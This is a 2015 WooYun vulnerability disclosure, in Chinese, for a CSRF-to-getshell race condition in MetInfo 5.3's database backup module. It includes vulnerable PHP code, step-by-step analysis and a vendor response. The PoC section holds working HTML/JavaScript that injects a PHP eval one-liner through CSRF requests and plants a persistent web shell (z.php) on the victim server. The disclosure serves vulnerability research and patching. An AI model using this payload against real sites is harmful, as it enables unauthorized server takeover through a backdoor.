当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0131606

漏洞标题:MetInfo5.3最新版CSRF getshell

相关厂商:MetInfo

漏洞作者: zhk

提交时间:2015-08-04 17:46

修复时间:2015-11-04 13:32

公开时间:2015-11-04 13:32

漏洞类型:CSRF

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-08-04: 细节已通知厂商并且等待厂商处理中
2015-08-06: 厂商已经确认,细节仅向厂商公开
2015-08-09: 细节向第三方安全合作伙伴开放
2015-09-30: 细节向核心白帽子及相关领域专家公开
2015-10-10: 细节向普通白帽子公开
2015-10-20: 细节向实习白帽子公开
2015-11-04: 细节向公众公开

简要描述:

MetInfo5.3最新版CSRF getshell

详细说明:

后台文件./admin/system/database/index.php中,变量$action,$tbl,$tables,$fileid用户可控。
问题代码:
下面是去除多余代码后的文件。

<?php
...
if($action=='allfile'){
...
}elseif($action=='uploadimg'){
...
}elseif($action=='config'){
...
}elseif($action=='allbase'){
$localurl="http://";
$localurl.=$_SERVER['HTTP_HOST'].$_SERVER["PHP_SELF"];
$localurl_a=explode("/",$localurl);
$localurl_count=count($localurl_a);
$localurl_admin=$localurl_a[$localurl_count-4];
$localurl_admin=$localurl_admin."/system/database/index";
$localurl_real=explode($localurl_admin,$localurl);
$localurl=$localurl_real[0];
$fileid = isset($fileid)?$fileid:1;
if($tbl){
$tables=tableprearray($tablepre);
$sizelimit=2048;
}else{
foreach($tables as $key=>$val){
$tablestx.=$val.'|';
}
}
if($fileid==1){
$random =met_rand(6);
cache_write('bakup_tables.php', $tables);
}elseif(!$tbl){
$allidlist=explode('|',$tablestx);
for($i=0;$i<count($allidlist)-1;$i++){
$tables[$i]=$allidlist[$i];
}
}
$sqldump = '';
$tableid = isset($tableid) ? $tableid - 1 : 0;
$startfrom = isset($startfrom) ? intval($startfrom) : 0;
$tablenumber = count($tables);
for($i = $tableid; $i < $tablenumber && strlen($sqldump) < $sizelimit * 1000; $i++){
$sqldump .= sql_dumptable($tables[$i], $startfrom, strlen($sqldump));
$startfrom = 0;
}
if(trim($sqldump)){
...
}else{
cache_delete('bakup_tables.php');
metsave($rurls,$lang_setdbBackupOK,$depth);
}
}
...
?>


分析:
1. 在第129行`cache_write('bakup_tables.php', $tables);`将$tables直接写入bakup_tables.php。
2. 但在第120行`$tables=tableprearray($tablepre);`,为了跳过120行,给$tbl赋值0。
3. 由于我们自定义了$tables,第144行if(trim($sqldump))为false,将会执行165行的`cache_delete('bakup_tables.php');`。
4. 第120行生成,165删除,中间几行执行时间让我们有机会去执行bakup_tables.php。
5. 如果自己测试,我们可以多线程访问bakup_tables.php来触发恶意代码。
6. 但在实际情况中,CSRF触发时间不确定(不确定管理什么时候访问),我们需则要管理员访问`./admin/system/database/index.php`的同时,帮我们执行`./admin/databack/bakup_tables.php`。
POC:
成功可访问http://www.xxx.com/admin/databack/z.php?1=phpinfo();

<script>
var url='http://www.xxx.com/';
for(var k=0; k<500; k++){
document.write('<script src=\''+url+'/admin/system/database/index.php?action=allbase&tbl=0&tables=1<?php eval($_REQUEST[1]);?>&fileid=1&r='+Math.random()+'\'><\/script>');
document.write('<script src=\''+url+'/admin/databack/bakup_tables.php?1=file_put_contents("z.php",%27<?php%20eval($_REQUEST[1]);?>%27);&r='+Math.random()+'\'><\/script>');
document.write('<script src=\''+url+'/admin/system/database/index.php?action=allbase&tbl=0&tables=1<?php eval($_REQUEST[1]);?>&fileid=1&r='+Math.random()+'\'><\/script>');
document.write('<script src=\''+url+'/admin/databack/bakup_tables.php?1=file_put_contents("z.php",%27<?php%20eval($_REQUEST[1]);?>%27);&r='+Math.random()+'\'><\/script>');
}
</script>


漏洞证明:

1. 本地搭建测试环境:http://localhost/fuzz/MetInfo5.3/并登录后台。

2015-08-04 16:05:15屏幕截图.png


2. 目前./admin/databack目录下的文件。

2015-08-04 16:06:19屏幕截图.png


3. 执行POC(http://localhost/fuzz/p.html),模拟管理员访问我们的网页。
调式工具中可见有bakup_tables.php是访问成功的

2015-08-04 16:56:09 的屏幕截图.png


4. 现在./admin/databack目录下的文件,出现了我们的后门z.php

2015-08-04 16:56:24屏幕截图.png


5. 访问z.php

2015-08-04 16:57:28屏幕截图.png

修复方案:

变量初始化

版权声明:转载请注明来源 zhk@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-08-06 13:31

厂商回复:

是系统BUG,后续版本修复。

最新状态:

暂无